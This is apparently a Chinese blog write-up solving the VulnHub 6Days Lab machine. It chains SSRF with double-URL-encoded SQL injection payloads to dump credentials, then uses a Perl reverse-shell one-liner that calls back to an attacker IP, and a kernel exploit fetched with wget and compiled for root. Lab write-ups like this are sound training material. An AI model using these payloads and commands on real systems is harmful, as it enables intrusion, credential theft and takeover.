2020-1-5:vulnhub靶场,6Days_Lab-v1.0.1
一、环境准备
1,下载地址:https://www.vulnhub.com/entry/6days-lab-11,156/#flags
2,目标,获取根目录下flag
3,下载好靶场之后,使用VirtualBox虚拟机软件导入环境,启动即可,为了方便练习,我将攻击机和靶场都设置为桥接模式
二、渗透练习
1,获取靶机ip地址
输入命令netdiscover,不添加任何参数,会默认扫描机器网卡上的ip值的所有网段,获取到靶场ip地址为192.168.1.103
2,收集端口信息
输入命令,nmap -v -Pn -p- 192.168.1.103
-v:表示显示详细信息
-Pn:表示不使用ping扫描
-p-:表示扫描指定ip的所有端口
如图所示,靶场开启了22,80,8080端口
3,进行渗透
访问192.168.1.103的80端口,是一个ips界面,还有一个折扣码
输入折扣码,提示代码过期,没啥用处
4,查看网站源码,发现image.php页面会进行引用图片
5,进行访问,可能存在ssrf
6,修改src=后边参数为index.php,并没有拦截,也没有报错
使用dirb http://192.168.1.103,获取靶机网站目录结构文件
7,打开BP进行抓包,发现响应包是主页界面
获取passwd文件信息,得到靶机有账户user,andrea
查看config.php信息,得到数据库账号,密码,数据库名信息
其他发现的网站界面都会被ips拦截
8,查看apache默认配置信息
在apache默认文件中,发现网站实际就是在8080端口,只接受本地连接,然后转发到80端口
9,通过配置信息,获得的消息,可以发现网站直接跟mysql数据库连接,存在sql注入,两次url编码即可绕过
通过Python来生成sql语句
输入 python3 进入python3环境
from urllib.parse import quote ,引入quote模块里的url编码
quote(quote("SQL语句")),两次url编码sql语句
例如:quote(quote("aaaa'union select version(),2#")),获取当前数据库版本信息
payload:image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=aaaa%2527union%2520select%2520version%2528%2529%252C2%2523
通过ssrf+sql注入,得到想要的信息
获取当前数据库payload:/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=aaaa%2527union%2520select%2520database%2528%2529%252C2%2523
获取当前数据库中的表payload:/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=aaaa%2527union%2520select%2520group_concat%2528table_name%2529%252C2%2520from%2520information_schema.tables%2520where%2520table_schema%253Ddatabase%2528%2529%2523
获取表中字段名payload:/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=aaaa%2527union%2520select%2520group_concat%2528column_name%2529%252C2%2520from%2520information_schema.columns%2520where%2520table_schema%253Ddatabase%2528%2529%2520and%2520table_name%253D%2527users%2527%2523
获取所需账号密码信息payload:/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=aaaa%2527union%2520select%2520group_concat%2528username%252C%2527~~~~%2527%252Cpassword%2529%252C2%2520from%2520fancydb.users%2523
10,获取到andrea账户的密码信息,开启了ssh端口,尝试使用ssh进行连接
输入命令 ssh andrea@192.168.1.103
之后输入密码,连接成功
11,连接之后发现任何命令都没反应
12,可能是回显信息丢失,尝试反弹shell
攻击机重新打开一个终端,输入nc -lvvp 1234,监听本地端口
ssh连接的靶机上输入命令:perl -e 'use Socket;$i="192.168.1.102";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
命令的i参数:后边的ip地址为自己攻击机主机的ip地址
命令的p参数:后边为nc本地监听的端口
执行之后发现反弹命shell成功,命令也都有回显
如果觉得反弹的shell前边没东西不太习惯,可以在反弹的shell下输入以下命令,返回原始bash shell
python -c ’import pty; pty.spawn("/bin/bash")‘
13,进行提权
输入 uname -a,获取系统内核版本为3.13.0
搜索可用exp
输入命令 searchsploit 3.13.0,发现kali系统内置的exp脚本
14,将可用脚本下载到靶机平台
首先开启攻击机的apache服务
service apache2 start
将脚本文件复制到apache根目录下
输入命令:cp /usr/share/exploitdb/exploits/linux/local/37292.c /var/www/html/
在反弹的shell中下载脚本
输入命令,wget http://192.168.1.102/37292.c
15,使用exp脚本文件进行提权
因为脚本文件为c语言编写的,使用需要进行编译,可以使用gcc进行编译
输入命令:gcc 37292.c -o exp
-o 参数为输入的文件名称
编译之后的文件直接具备了可执行权限
输入命令: ./exp,发现提权成功
16,得到flag
提权成功之后,切换到系统根目录,发现flag文件,发现为可执行脚本,./flag执行,得到flag
完